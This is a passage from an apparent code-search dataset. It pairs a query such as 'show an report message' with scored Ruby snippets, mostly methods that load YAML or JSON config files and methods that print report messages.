}\r\n end", "title": "" }, { "docid": "a6d90c7fc0071b3db6fa6b842bcc5d66", "score": "0.6243487", "text": "def load(filename)\n end", "title": "" }, { "docid": "09f4266e6a1d25a29c61c685a1e34a62", "score": "0.6241912", "text": "def load\n yaml = YAML.load_file(@file_path)\n yaml.each {|k, v| interpolate_setting(yaml, v)}\n settings = OpenStruct.new\n add_hash(settings, yaml)\n\n @lock.synchronize do\n @yaml = yaml\n @settings = settings\n end\n rescue\n puts \"Failed to load file: #{@file_path}\\n#{$!}\"\n end", "title": "" }, { "docid": "3a3dfe7c625089c88d2232f63092e42e", "score": "0.62346053", "text": "def load_file(config_file)\n return unless File.exists?(config_file)\n\n file_data = YAML.load_file(config_file) || {}\n\n # set up required keys\n file_data['required'] ||= []\n file_data['required'].each do |key|\n required.push(Util.normalize(key))\n end\n\n # load up the environment-specific data\n file_data['environments'] ||= {}\n @data = file_data['environments'][environment] || {}\n end", "title": "" }, { "docid": "e637c955aaa18c648881a955fc0d9897", "score": "0.62288547", "text": "def load_plist(file)\n NSMutableDictionary.dictionaryWithContentsOfFile(file)\n end", "title": "" }, { "docid": "f287bf2e05257159292163fce5530291", "score": "0.6224871", "text": "def from_file(file)\n from_s Utils::read_file file\n end", "title": "" }, { "docid": "f287bf2e05257159292163fce5530291", "score": "0.6224871", "text": "def from_file(file)\n from_s Utils::read_file file\n end", "title": "" }, { "docid": "f382811afd8840589a5b2def8a722c07", "score": "0.62233907", "text": "def load_file(filename)\n instance_eval File.read(filename), filename, 1\n self\n end", "title": "" }, { "docid": "62810b07d8b8281ff85005786e6efc30", "score": "0.61800957", "text": "def load(file)\n return false unless File.exists?(file)\n @settings = settings.merge(YAML::load_file(file)).symbolize_keys\n end", "title": "" }, { "docid": "c7bd0c430df00a31809df579de993fde", "score": "0.6172253", "text": "def load\n if File.exists? @file\n @main = YAML::load_file @file\n else\n self.load_defaults\n end\n end", "title": "" }, { "docid": "d3c5a3819817ec721073d76df0763fc1", "score": "0.61721045", "text": "def load(filename)\n update! YAML.load_file(filename)\n end", "title": "" }, { "docid": "bdcc1c88a46fd12613619f05ceaff6dc", "score": "0.61692464", "text": "def load_from_file(file_path)\n require \"erb\"\n opts = YAML.load(ERB.new(File.read(file_path)).result) || {}\n symbolize_keys(opts)\n end", "title": "" }, { "docid": "f06db8397d6a67ab4e6a97d8862efe51", "score": "0.6163353", "text": "def load(filename)\n @config.load(filename)\n @rules.concat(@config.rules)\n self\n end", "title": "" }, { "docid": "6253d00f4e6f5fd384c468e8b9a7391e", "score": "0.6154451", "text": "def load\r\n\t\tload_file\r\n\t\tconfigure\r\n\tend", "title": "" }, { "docid": "ce0fddd850bb3ea1be37ac89dba5b21a", "score": "0.614915", "text": "def load(args)\n YAML::load_file(args[:file_name])\n end", "title": "" }, { "docid": "6986616c6c182c4cb43a89dda8ddc43b", "score": "0.61408305", "text": "def load(filename)\n\t\tend", "title": "" }, { "docid": "83de51e8e8a8120d5a4dc9f178a3d7c8", "score": "0.61349124", "text": "def load( filepath )\n unserialize( IO.read( filepath ) )\n end", "title": "" }, { "docid": "65fd87e042e027db6b0aeedfca03173c", "score": "0.6116391", "text": "def load_hash(file_path) \n file=File.read(file_path)\n JSON.parse(file)\n end", "title": "" }, { "docid": "65fd87e042e027db6b0aeedfca03173c", "score": "0.6116391", "text": "def load_hash(file_path) \n file=File.read(file_path)\n JSON.parse(file)\n end", "title": "" }, { "docid": "025218cd1d18b1e05e586330f8c7990c", "score": "0.6113472", "text": "def load_configuration(name, *files)\n files.each do |file|\n if not File.exist?(file)\n update_configuration(name, Configuration::SimpleConfiguration.new)\n elsif %w(.yaml .yml).include?(File.extname(file).downcase)\n @logger.finer(\"Loading '#{file}' as '#{name}'...\") if defined? @logger\n update_configuration(name, Configuration::YamlConfiguration.new(file))\n else\n raise IOError.new(\"Don't know how to load property file '#{file}'\")\n end\n end\n end", "title": "" }, { "docid": "4d86c94deb38e401b127c09c82bf93be", "score": "0.6106469", "text": "def load(file)\r\n help = \"Use `srcpress gen-config` to generate a template config file\"\r\n Message::Error.no_file(\"config\", file, help) unless File.exist?(file)\r\n\r\n press_yml = YAML.load_file(file)\r\n self.output = press_yml[\"OutputFile\"]\r\n self.ovr_output = press_yml[\"OverrideOutput\"]\r\n self.import_kwords = press_yml[\"ImportKeywords\"]\r\n\r\n press_yml[\"FileOrder\"]\r\n end", "title": "" }, { "docid": "410f1d2ac0561b0e92b1149af3a6087b", "score": "0.61058706", "text": "def load_from_file!\n return unless File.exists?(uservoice_configuration_file)\n\n config = ERB.new(IO.read(uservoice_configuration_file)).result\n configuration = YAML::load(config)\n self.merge!(configuration[\"uservoice\"])\n end", "title": "" }, { "docid": "7cb0eeaf7b5867f8f5280c68cb233d88", "score": "0.61050385", "text": "def load_config(configfile)\n config = YAML.load_file(configfile)\n config.each { |key, value|\n instance_variable_set(\"@#{key}\", value) \n }\n end", "title": "" }, { "docid": "e46347812cfa01dbc6f0a512916a9c82", "score": "0.60845333", "text": "def load!(file)\n hash = {}\n YAML.load_file(file).each do |k, v|\n hash[Pathname(k)] = v.map{|vv| Pathname(vv) }\n end\n replace(hash)\n end", "title": "" }, { "docid": "2f410a63c92ce71376485d0c5baaaf5c", "score": "0.6060029", "text": "def load(file)\n data = File.read(file)\n JSONL.parse(data)\n end", "title": "" }, { "docid": "9e0fa3c9fdc22f31794ecbc247680421", "score": "0.6052667", "text": "def load_attributes\n @attributes = YAML.load_file(file).inject({}){|h,(k,v)| h[k.to_sym] = v;h}\n end", "title": "" }, { "docid": "e652db8d7d3886834f7f0b8c3ec29193", "score": "0.60514164", "text": "def _load(options = {})\n # Clean up and symbolize all the keys then merge that with the existing properties\n options.keys.each do |key|\n property_name = key.to_s.underscore.to_sym\n if respond_to? \"#{property_name}=\"\n send(\"#{property_name}=\",options.delete(key))\n else\n options[property_name] = options.delete(key)\n end\n end\n\n properties.merge! options\n end", "title": "" }, { "docid": "1e4e9f045dc1986a50b4d237622af449", "score": "0.6043904", "text": "def load_settings(filename)\n require('yaml')\n\n # Check if a settings file exists. If it does, load all relevant properties\n settings = {}\n if File.exist?(filename)\n settings = YAML.load(File.open(filename))\n\n Log.instance.info(\"Settings loaded from [ #{filename} ]\")\n end\n\n settings\n end", "title": "" }, { "docid": "7aaf2438eba3a51076d7ed820754dc27", "score": "0.6028266", "text": "def load(environment=nil)\n load_from_file(file, environment)\n end", "title": "" }, { "docid": "2bf6ccaed4255c301203b14d2c478e64", "score": "0.60225433", "text": "def load_file(filename)\n File.read File.join(\"plugins\",name,filename)\n end", "title": "" }, { "docid": "e5f0b9843f0a7807c2109382e34b90e5", "score": "0.60148084", "text": "def load_from_file(filename, environment)\n if File.exist?( filename ) then\n @loaded_from = filename\n configuration = YAML.load_file(filename)\n if environment_based?\n configuration = configuration[environment] or raise Error, \"environment #{environment} \" +\n \"not found in #{filename}\"\n configuration\n end\n keys.each do |k|\n raise Error, \"key missing: #{k}\" unless configuration.has_key?( k )\n end\n configuration.extend(AlternateConfig)\n configuration.config_file = self\n configuration\n else\n raise Error, \"file not found: #{filename}\"\n end\n end", "title": "" }, { "docid": "19cf4acb1e434b5c5bf9499ebccdfc12", "score": "0.60086834", "text": "def load filename = Filename\r\n settings = eval File.read filename\r\n clear\r\n settings.each{|category_name,category_data|\r\n add_category SettingsCategory.new category_name, category_data\r\n }\r\n rescue Errno::ENOENT\r\n @logger.fatal \"Settings file '#{filename}' not found\"\r\n raise\r\n end", "title": "" }, { "docid": "ff8da9144d936f9c9e13665f65ebde48", "score": "0.59913015", "text": "def load_from_file(dir, file=\"/specs.def\")\n JSON.parse(IO.read(File.join(dir, file))) rescue raise ArgumentError\n end", "title": "" }, { "docid": "245e1602160d361a3c6ccc31b20935be", "score": "0.598673", "text": "def load_file(path)\n load(path)\n end", "title": "" }, { "docid": "9fe8360e4b4532886c58106447ed8d8b", "score": "0.5963796", "text": "def initialize(file)\n @name = PropertyName.new.read(file).name.val[0...-1]\n if @name != 'None'\n @data = strip_data(PropertyData.new.read(file), file)\n else\n @data = 'None'\n end\n end", "title": "" }, { "docid": "0924d4ed90e86ee8a48ab4eaa9d52c71", "score": "0.594347", "text": "def load_config(filename)\n eval(File.read(filename), binding)\n end", "title": "" }, { "docid": "a1c798d33f1ce9f4d64c7619ad0ed3e7", "score": "0.5941082", "text": "def load_yml(yml_file)\n if File.exist?(yml_file)\n yml_cfg = OpenStruct.new(YAML.load_file(yml_file))\n yml_cfg.jira_properties.each do |k, v|\n instance_variable_set(\"@#{k}\", v)\n end\n else\n raise StandardError, \"unable to find yml config file\"\n end\n end", "title": "" }, { "docid": "37a9838b98e352b20fa6259a2d317714", "score": "0.5937034", "text": "def load_setup\n setupFile = @properties[\"config/setup_file\"]\n return unless (setupFile and File.exist?(setupFile))\n file = File.new(setupFile)\n setup = file.read\n file.close\n instance_eval(setup)\n end", "title": "" }, { "docid": "89c59ada6138df555517528cd767bbad", "score": "0.5936215", "text": "def load_file( file )\n\t\tbegin\n\t\t\t@filename = file\n\t\trescue Exception => e\n\t\t\tbaxter( e )\n\t\tend\n\tend", "title": "" }, { "docid": "eed344ea12c6afa99cfa044d50abd7a4", "score": "0.5920264", "text": "def load(file)\n unless File.exist?(file)\n raise ConfigError.new(File.dirname(file)),\n \"expected an autoproj configuration in #{File.dirname(file)}, \"\\\n \"but #{file} does not exist\"\n end\n\n data = Autoproj.in_file(file, Autoproj::YAML_LOAD_ERROR) do\n YAML.safe_load(File.read(file)) || {}\n end\n\n if data[\"layout\"]&.member?(nil)\n Autoproj.warn \"There is an empty entry in your layout in #{file}. All empty entries are ignored.\"\n data[\"layout\"] = data[\"layout\"].compact\n end\n\n @file = file\n initialize_from_hash(data)\n end", "title": "" }, { "docid": "eef5fc9b2fdb8b5a73b95b8f7f2370b0", "score": "0.5919903", "text": "def load_attributes\n @attributes = MultiJson.decode(File.new(file, 'r').read)\n end", "title": "" }, { "docid": "e78b9fdfeda2899a51296a1640e05ec7", "score": "0.5918279", "text": "def initialize_connection_from_file(file_path)\n raise Errno::ENOENT unless File.exists?(file_path)\n file = File.open(file_path)\n config = symbolize_keys(YAML::load(file.read))\n self.initialize_connection(config[:lobby], config[:options])\n end", "title": "" }, { "docid": "c99ab12ba6e124b75e8faa812f6e5992", "score": "0.59146714", "text": "def postgresql_conf_load_file(file)\n return unless ::File.exist?(file)\n\n ::IniFile.load(file).to_h\n end", "title": "" }, { "docid": "231f2683f95794ec33a7e3d72a501790", "score": "0.59066105", "text": "def load(path, env)\n yaml_safe_load(File.open(path).read)[env].each do |section, settings|\n section = instance_variable_get(\"@#{section}\")\n next unless section\n settings.each do |setting, value|\n unless section == @index || section == @source\n value = interpolate_string(value, nil)\n end\n setter(section, setting, value)\n end\n end\n end", "title": "" }, { "docid": "6e2cb96d352b0fb87bdd63d53ea80a89", "score": "0.59010345", "text": "def load(filename)\n files= filename.include?(',') ? filename.split(',') : [filename]\n @yml = files.inject({}) do |total_merge,file|\n total_merge.merge!(::YAML.load(ERB.new(File.read(\"#{yml_directory}/#{file}\")).result(binding)))\n end\n end", "title": "" }, { "docid": "57b36e8e659f61a2fe61109ae8f2d949", "score": "0.5898939", "text": "def load_config(filename)\n\t\t\tconfig = read_config(filename)\n\t\t\t@servers = config[:servers]\n\t\t\t@email_addr = config[:email][:addr]\n\t\t\t@email_sender = config[:email][:sender]\n\t\tend", "title": "" }, { "docid": "9751a49098f61a53b542976a6f243fcb", "score": "0.58901316", "text": "def load_file_contents(filename)\n File.open(filename).readlines\n end", "title": "" }, { "docid": "4cff4f7d79a3f0fcd1d86bf910f857a2", "score": "0.58837616", "text": "def import_file! file\n # if given a file name, try opening it\n if file.instance_of? String\n _file = File.open file\n elsif file.instance_of? File\n _file = file\n else\n raise \"type not recognized: #{file.class.name}\"\n end\n\n puts \"- Iterating over keys in #{_file.inspect}\" if @verbose\n \n # iterate over keys\n YAML::load(_file).each do |env, env_hash|\n env_hash.each do |app, app_hash|\n app_hash.each do |namespace, namespace_hash|\n namespace_hash.each do |identifier, value|\n k = \"#{namespace}:#{identifier}\"\n set! k, value, app, env\n end\n end\n end\n end\n end", "title": "" }, { "docid": "40ccd3dc5494fb0539197ee1aecc6ae7", "score": "0.5879317", "text": "def process_config_file(path)\n RFlow.logger.info \"Processing config file (#{Dir.getwd}) '#{path}'\"\n load path\n end", "title": "" }, { "docid": "cea4061545c21c9589048b3695c532b8", "score": "0.58721435", "text": "def load_from_config_file(config_file)\n user_config_file = File.expand_path(config_file)\n\n if File.exists? user_config_file\n log \"Loading config from file: #{user_config_file}\"\n\n begin\n @config_from_file =\n instance_eval(File.read(user_config_file), user_config_file)\n log \"Got new config from file: #{user_config_file}\"\n rescue LoadError\n raise Tailor::RuntimeError,\n \"Couldn't load config file: #{user_config_file}\"\n end\n else\n abort \"No config file found at #{user_config_file}.\"\n end\n end", "title": "" }, { "docid": "778cf6342eb3d67aa31fef200d4bf954", "score": "0.58671856", "text": "def read_file(filename)\n JSON.parse(File.read(\"spec/fixtures/files/#{filename}\"))\n end", "title": "" }, { "docid": "124844136160ed3714822b054941e40e", "score": "0.5859743", "text": "def read_file(path)\r\n YAML::load( File.open(path) )\r\n end", "title": "" }, { "docid": "5735f6e536896f428b8faf03ae63d659", "score": "0.5858629", "text": "def load(filename)\n file_content = File.open(filename).read\n TOMLP::Parser.new(file_content).parse\n end", "title": "" }, { "docid": "0d1b8371e7dcefb178d4e6f79c6083b0", "score": "0.58576006", "text": "def load\n if @file && File.exist?(@file) && File.stat(@file).size > 0\n h = YAML::load open(@file, 'r').read\n h.each { |k,v| self[k.to_sym] = v}\n return true\n end\n false\n end", "title": "" }, { "docid": "5f5c44bd508de1071f940cf9571128b9", "score": "0.5856334", "text": "def load_config(config_file)\n YAML.load(File.open(config_file))\nend", "title": "" } ]
fddb70f7c8d1c8720a9a5ff09f31ebe8
show an report message
[ { "docid": "113b84b9663b05988deec6ed8e8ac01a", "score": "0.64491034", "text": "def report(message)\n @report.append(message)\n end", "title": "" } ]
[ { "docid": "8338572fd1b20d51e2fff36b896e94da", "score": "0.73850006", "text": "def report(message); end", "title": "" }, { "docid": "d9a5b61347db9fb1841a1d9981a15064", "score": "0.69816345", "text": "def msg(report)\n maxSpeed = Setting.find_by_name(\"Speed\").value.to_int\n rsp = \"\"\n \n #check if user is activated \n if !report.user.activation\n rsp = rsp + \"Your report has been noted but will not be submitted to the City of Boston until you activate your account. An email has been sent to the email address you provided with instructions explaining how to activate your account. \"\n end \n \n #check if user is at a certain speed \n if report.velocity >= maxSpeed\n rsp = rsp + \"For your own safety, we do not accept reports from moving vehicles. You must come to a full stop before submitting a report. \" \n end \n \n #find nearby reports (hotspots) \n @recs = report.find_nearby_reports(report, 5, 10)\n rsp = rsp + \"You are the #{number_to_ordinal(@recs.length)} person to report this location.\"\n\n #return concatinated response to mobile client \n return rsp \n end", "title": "" }, { "docid": "cc925f4155e49b19f3e1afc776621178", "score": "0.683237", "text": "def report\n puts 'E'\n end", "title": "" }, { "docid": "266ce6d5b07d5b6a7207d06f54248eec", "score": "0.6778586", "text": "def send(report)\n puts report\n end", "title": "" }, { "docid": "743006e79b02a9e3c9a6fb5952635e03", "score": "0.6652216", "text": "def report(msg)\n $stderr.puts msg unless $QUIET\n end", "title": "" }, { "docid": "743006e79b02a9e3c9a6fb5952635e03", "score": "0.6652216", "text": "def report(msg)\n $stderr.puts msg unless $QUIET\n end", "title": "" }, { "docid": "af2ec2435d51fd10f59e3524f9621d4c", "score": "0.66437423", "text": "def report(failure_message)\n puts failure_message\n end", "title": "" }, { "docid": "eb8b4990d073e13e9a8dc4270f7ebde7", "score": "0.6627786", "text": "def report(message)\n @report.append(message.to_s)\n end", "title": "" }, { "docid": "bc33b7d5f03d0063327c3f5efcb07387", "score": "0.6587969", "text": "def report\n end", "title": "" }, { "docid": "bc33b7d5f03d0063327c3f5efcb07387", "score": "0.6587969", "text": "def report\n end", "title": "" }, { "docid": "091aca8161fe911a535c28f3dd18551e", "score": "0.65305465", "text": "def show\n # find and return a specific message\n end", "title": "" }, { "docid": "138cfc81b7190715da0e8f12ccf6c77e", "score": "0.6502798", "text": "def report\n say \"#{test_number}) #{'Error'.yellow}: #{test.name}\\n- #{@test.errorMessage}\" if @test.errored\n say \"#{test_number}) #{'Failure'.red}: #{test.name}\\n#{@test.failureReports.map { |s| \" - #{s}\" }.join(\"\\n\")}\" if @test.failed\n end", "title": "" }, { "docid": "8c11f60ff5d0c1c0e5f420d2c89217ee", "score": "0.6472391", "text": "def report\n end", "title": "" }, { "docid": "9e31184ac6cd822d53e27447b2c2aaef", "score": "0.6459547", "text": "def report(message)\n #@_stdout.puts(message) unless quiet?\n puts(message) unless quiet?\n end", "title": "" }, { "docid": "16c7f4e3eac727415897fd34e05da954", "score": "0.64284444", "text": "def report\n puts \"I'm #{@name}, I've delivered: #{@experience} papers\"\n puts \"Based on this paper route, I've earned: #{@earnings} \"\n end", "title": "" }, { "docid": "27c24b94422ea3729fbcddd6aa1a1dbd", "score": "0.64270085", "text": "def display\n @reporter.display_report(self)\n end", "title": "" }, { "docid": "b1b4577bfc70828de97519cf63f43db0", "score": "0.6415069", "text": "def report\n p \"I'm #{@name}, I've delivered #{@experience} papers and I've earned #{@earnings} so far!\"\n end", "title": "" }, { "docid": "eae69c38dabf6ad22757d37c721037ae", "score": "0.64102983", "text": "def report; end", "title": "" }, { "docid": "eae69c38dabf6ad22757d37c721037ae", "score": "0.64102983", "text": "def report; end", "title": "" }, { "docid": "eae69c38dabf6ad22757d37c721037ae", "score": "0.64102983", "text": "def report; end", "title": "" }, { "docid": "b6fbb069c89e5a966de7b1b07138ccc2", "score": "0.6385832", "text": "def print_report\n puts \"Robot is currently at position #{report[0]},#{@rows-1-report[1]} facing #{@robot.f}\"\n end", "title": "" }, { "docid": "a53d6b275f9a4479b05aea959de6cb84", "score": "0.63474125", "text": "def logging_show_report\n @thread_semaphore.synchronize {\n if @log != nil\n @log.show_report\n end\n }\n\n end", "title": "" }, { "docid": "5d26aea8ba75f8c8f93e5a24b6560570", "score": "0.6342215", "text": "def send_report\n begin\n report = generate_report()\n rescue => detail\n Puppet.err \"Could not generate report: %s\" % detail\n return\n end\n\n if Puppet[:summarize]\n puts report.summary\n end\n\n if Puppet[:report]\n begin\n report.save()\n rescue => detail\n Puppet.err \"Reporting failed: %s\" % detail\n end\n end\n end", "title": "" }, { "docid": "0ffd4912e27edd0aa04b87609a9b3ddb", "score": "0.6341634", "text": "def display(message)\n puts message\n end", "title": "" }, { "docid": "4e4db145f264c6c121b0bdb885f778ff", "score": "0.63383657", "text": "def verbose_report\n result = header\n result += \":\\n#{smell_list}\" if should_report\n result += \"\\n\"\n result\n end", "title": "" }, { "docid": "ea2398ae1ba3b104ee2b00efdb502339", "score": "0.6329022", "text": "def print_report(report, options)\n reporter = options.fetch(:reporter,\n SlimLint::Reporter::DefaultReporter).new(log)\n reporter.display_report(report)\n end", "title": "" }, { "docid": "12f38c4ec36766ef529fef5d4b726a55", "score": "0.6302377", "text": "def report(status,message)\n if STATES.include? status\n if STATES.index(status) >= STATES.index(@report_level)\n @long+=message\n end\n else\n raise \"Unkown status: #{status}\"\n end\n # Return long report\n @long\n end", "title": "" }, { "docid": "063fcb140371701984b13d8410e88c72", "score": "0.6299976", "text": "def show\n # find and return a specific message\n end", "title": "" }, { "docid": "f58a1a3b8e4dd560e265225ea3e7141b", "score": "0.6293822", "text": "def report\n puts \"I'm #{@name}, I've delivered #{@experience} papers and I've made $#{@earnings} so far!\"\n end", "title": "" }, { "docid": "ecc3d1d5358321821a62328e5f8677f5", "score": "0.62745833", "text": "def report( display_object = Kernel, display_method = :puts )\n return if display_method.nil? || !display_object.respond_to?( display_method )\n\n if edited_rows_count + errors_count > 0\n if edited_rows_count > 0\n display_object.send( display_method, \"\\r\\n--- UPDATED Meetings in calendar: #{ edited_rows_count }\" )\n @edited_rows_codes.each do |meeting_code|\n display_object.send( display_method, \"- #{ meeting_code }\" )\n end\n end\n if errors_count > 0\n display_object.send( display_method, \"\\r\\n--- Tot. ERRORS during calendar processing: #{ errors_count }\" )\n @error_rows_codes.each do |meeting_code|\n display_object.send( display_method, \"- #{ meeting_code }\" )\n end\n end\n end\n end", "title": "" }, { "docid": "1d1e613bfaf7af604a455a379a36c537", "score": "0.6273515", "text": "def show\n @custom_report = custom_report\n raise ReportFileNotFoundError unless authorize @custom_report\n @record = last_result\n check_report_existence\n raise ReportFileNotFoundError unless authorize @record\n format = \"text/#{@record.custom_report.result_format}\"\n encoding = @record.custom_report.utf_encoding ? 'utf-8' : 'windows-1251'\n send_file(\n @record.result_file_path,\n filename: @record.result_path,\n type: \"text/#{format}; charset=#{encoding}\",\n disposition: 'attachment',\n x_sendfile: true\n )\n rescue Pundit::NotAuthorizedError\n render_error(error: 'You are not allowed to read this report.', status: :unauthorized, status_code: 401)\n rescue ActiveRecord::RecordNotFound => error\n render_error(error: error, status: :not_found, status_code: 404)\n rescue ReportFileNotFoundError => error\n render_error(error: error.message, status: :internal_server_error, status_code: 500)\n rescue StandardError => error\n render_error(error: error, status: :internal_server_error, status_code: 500)\n end", "title": "" }, { "docid": "a31a272316a17b506621663c5914c69b", "score": "0.62666863", "text": "def show(msg)\n puts msg\n true\n end", "title": "" }, { "docid": "f5fdc20e45d038729950c992293cbcd5", "score": "0.62662756", "text": "def report\n tab = \"\\t\"\n if self.host.size > 7\n tab = \"\"\n end\n \"#{self.host}#{tab}\\t| #{@jobs_attempted}\\t\\t| #{@jobs_completed}\\t\\t| #{@dropped ? 'YES' : 'no'}\\t\\t|\"\n end", "title": "" }, { "docid": "0486bad2e502ddc2288209cb844982da", "score": "0.6258002", "text": "def display_report\n print \"#{@state} will lose #{predicted_deaths} people in this outbreak\"\n print \" and will spread across the state in #{speed_of_spread} months.\\n\\n\"\n end", "title": "" }, { "docid": "a9db24d3fdc3c216e17fa816aef2d247", "score": "0.6244734", "text": "def show(message)\n unless Rails.env.test?\n puts message\n end\n end", "title": "" }, { "docid": "a9d133b0c81c80c2d7358ec86ee4bfed", "score": "0.62410975", "text": "def report(message)\n log_message(message, {:log_level => :error})\n @report.info(message)\n end", "title": "" }, { "docid": "54d2b60c5ac3e26398a0138489688de3", "score": "0.6196617", "text": "def report_info(type, message)\n @report.info(type, message)\n end", "title": "" }, { "docid": "810d1b72382669405c5296095bdefa6f", "score": "0.6192148", "text": "def report_line; end", "title": "" }, { "docid": "76cb1fba3e7bdc336a176fd08f868e05", "score": "0.61842406", "text": "def report\r\n sprintf \"Number of paragraphs %d \\n\" <<\r\n \"Number of sentences %d \\n\" <<\r\n \"Number of words %d \\n\" <<\r\n \"Number of characters %d \\n\\n\" <<\r\n \"Average words per sentence %.2f \\n\" <<\r\n \"Average syllables per word %.2f \\n\\n\" <<\r\n \"Flesch score %2.2f \\n\" <<\r\n \"Flesch-Kincaid grade level %2.2f \\n\" <<\r\n \"Fog Index %2.2f \\n\",\r\n num_paragraphs, num_sentences, num_words, num_characters,\r\n words_per_sentence, syllables_per_word,\r\n flesch, kincaid, fog\r\n end", "title": "" }, { "docid": "4eb8e2341ad062f5a9b9d7ceb60a78df", "score": "0.6183446", "text": "def report_details\n\t\ttext\"<b><u>Invoice Report</u></b>\", :align=>:center, :size=>8, :inline_format=>true\n\t\ttext\"#{(@account.blank?)? 'All customers' : @account.name}\", :align=>:center, :size=>8, :inline_format=>true\n\t\t\n\t\t \n\t\n\t\ttext\"#{@start_date} to #{@end_date}\", :align=>:center, :size=>8, :inline_format=>true\n\tend", "title": "" }, { "docid": "e8e73afd93655a8387b878120d06552a", "score": "0.61748004", "text": "def error(message)\n @report.append('<font color=red><b>' 'ERREUR</b> : </font> ' + message)\n end", "title": "" }, { "docid": "639d254cee039a92781eeed6f2ca0f38", "score": "0.6169166", "text": "def report( display_object = Kernel, display_method = :puts )\n return if display_method.nil? || !display_object.respond_to?( display_method )\n\n if destroyed_rows_count + errors_count > 0\n if destroyed_rows_count > 0\n display_object.send( display_method, \"\\r\\n--- DESTROYED Meetings in calendar: #{ destroyed_rows_count }\" )\n @destroyed_rows_codes.each do |meeting_code|\n display_object.send( display_method, \"- #{ meeting_code }\" )\n end\n end\n if errors_count > 0\n display_object.send( display_method, \"\\r\\n--- Tot. ERRORS during calendar processing: #{ errors_count }\" )\n @error_rows_codes.each do |meeting_code|\n display_object.send( display_method, \"- #{ meeting_code }\" )\n end\n end\n end\n end", "title": "" }, { "docid": "cfc6de8cb445616a73b4db20aa13ca74", "score": "0.61520034", "text": "def display(message)\n __display(message)\n end", "title": "" }, { "docid": "f351d4f24cacfe4900098e4a5328c646", "score": "0.61497015", "text": "def full_report(desc)\n \"\\\"#{desc}\\\" -- #{length} warnings:\\n#{to_s}\\n\"\n end", "title": "" }, { "docid": "4e3e814ded852415ac0d4dc5b1f79640", "score": "0.61398643", "text": "def display msg\n print msg, \"\\n\"\n end", "title": "" }, { "docid": "a0ddd65f2a4dc3730800abf7b58c2c63", "score": "0.6138691", "text": "def show message\n \n puts message\nend", "title": "" }, { "docid": "d8d9347737fbd8a44d4b1134ac095039", "score": "0.6132188", "text": "def info(message, line, column)\n @report.add(:info, message, line, column) if @report\n end", "title": "" }, { "docid": "30b7ece6c1e12f018d43e708fc94c767", "score": "0.61284846", "text": "def error(message)\n @report.append('<font color=red><b>' 'ERREUR</b> : </color> ' + message)\n end", "title": "" }, { "docid": "30b7ece6c1e12f018d43e708fc94c767", "score": "0.61284846", "text": "def error(message)\n @report.append('<font color=red><b>' 'ERREUR</b> : </color> ' + message)\n end", "title": "" }, { "docid": "637cb16369423a43ffec457029411c0d", "score": "0.61231154", "text": "def report\n\t\tsprintf \"Number of paragraphs %d \\n\" <<\n\t\t\t\t\"Number of sentences %d \\n\" <<\n\t\t\t\t\"Number of words %d \\n\" <<\n\t\t\t\t\"Number of characters %d \\n\\n\" <<\n\t\t\t\t\"Average words per sentence %.2f \\n\" <<\n\t\t\t\t\"Average syllables per word %.2f \\n\\n\" <<\n\t\t\t\t\"Flesch score %2.2f \\n\" <<\n\t\t\t\t\"Flesh-Kincaid grade level %2.2f \\n\" <<\n\t\t\t\t\"Fog Index %2.2f \\n\",\n\t\t\t\tnum_paragraphs, num_sentences, num_words, num_characters,\n\t\t\t\twords_per_sentence, syllables_per_word,\n\t\t\t\tflesch, kincaid, fog\n\tend", "title": "" }, { "docid": "dda58438859fc3c970b4cd0c29f9c768", "score": "0.61169076", "text": "def report\n \"I'm #{@name}, I've delivered #{@experience} papers and I've earned $#{@earnings} so far!\"\n end", "title": "" }, { "docid": "dda58438859fc3c970b4cd0c29f9c768", "score": "0.61169076", "text": "def report\n \"I'm #{@name}, I've delivered #{@experience} papers and I've earned $#{@earnings} so far!\"\n end", "title": "" }, { "docid": "da662240e2bb75f754c2f919ee6d3a4c", "score": "0.6116147", "text": "def showMessage(msg)\n\t\tputs msg\n\tend", "title": "" }, { "docid": "1e90bead41a47c1f8498e4c91bc2de15", "score": "0.611249", "text": "def report_line\n @report.append('-' * 30)\n end", "title": "" }, { "docid": "0e9f1ac4c2b92d55e1d6341b4d854659", "score": "0.61116683", "text": "def report\n @apparel.report(current_user, report_params[:reason]) if current_user\n\n head :no_content\n end", "title": "" }, { "docid": "27dad3dfda6618a282b7ea85e79e19dd", "score": "0.61101425", "text": "def string_report(verbose: false)\n @report.to_s(verbose: verbose)\n end", "title": "" }, { "docid": "60be1b1240242fe45c38378ed18c39da", "score": "0.6103877", "text": "def quick_report\n message = \"The system called %p is a %p with %d components\"\n info = message % [name, type, items.size]\n sleep 5\n info\n end", "title": "" }, { "docid": "11b56cee58e3a15bc4ff2730a806e9e1", "score": "0.6102218", "text": "def report\n \"#{@name} had delivered #{@experience} papers and earned $#{earnings} so far!\"\n end", "title": "" }, { "docid": "73271280b2c70c2f52c140e114624e45", "score": "0.609665", "text": "def report\n report = \"\"\n report << report_progress\n report << report_remaining\n report\n end", "title": "" }, { "docid": "df2fd6911c68f5308426d4bdc13a48f9", "score": "0.6093537", "text": "def display\n update_statistics\n\n return if @drbdump.quiet\n\n message = status ? 'success' : 'exception'\n arrow = status ? \"\\u21d0\" : \"\\u2902\"\n timestamp = self.timestamp.strftime DRbDump::TIMESTAMP_FORMAT\n\n puts \"%s %s %s %s %s: %s\" % [\n timestamp, destination, arrow, source, message, result\n ]\n end", "title": "" }, { "docid": "24b87d877465c75cf64a3a674fab01a5", "score": "0.6088762", "text": "def alert_log_message\n \"check generated an alert\"\n end", "title": "" }, { "docid": "7d5b6f0a029ee4715f5700dd24a4536e", "score": "0.6081223", "text": "def print_report(type)\n generated = @messages.select { |m| m[:kind] == type }\n return unless generated.any?\n\n puts\n puts \"#{type.capitalize}s:\"\n\n new_messages = generated.map { |m| m[:message] }\n puts new_messages.join(\"\\n\")\n puts\n end", "title": "" }, { "docid": "d17c5bbfdacb3d5c73877cc6d1a05898", "score": "0.6079354", "text": "def run_report(debug=false)\n\n summary_report = \"\"\n dlg(\"\\n\\n\", 6)\n dlg(\"Report: Accounts(#{@accounts.length})\", 6)\n dlg(\"\", 6)\n\n # Sort the accounts and iterate over each named Account\n Hash[@accounts.sort].each do |name,acc|\n\n cur_line = \"\\n\"\n\n # if the account is valid \n if acc.is_valid? == true\n if debug\n dlg(\"\\tAccount(#{name}) Cards(#{acc.get_cards().length}) Balance(#{acc.get_default_source().get_balance()}) Limit(#{acc.get_limit()})\", 6)\n end\n dlg(\"#{name}: $#{acc.get_default_source().get_balance().to_i}\", 6)\n\n # Build the appropriate output for the Account's balance\n cur_line = \"#{name}: $#{acc.get_default_source().get_balance().to_i}\\n\"\n else\n if debug\n dlg(\"\\tAccount(#{name}): 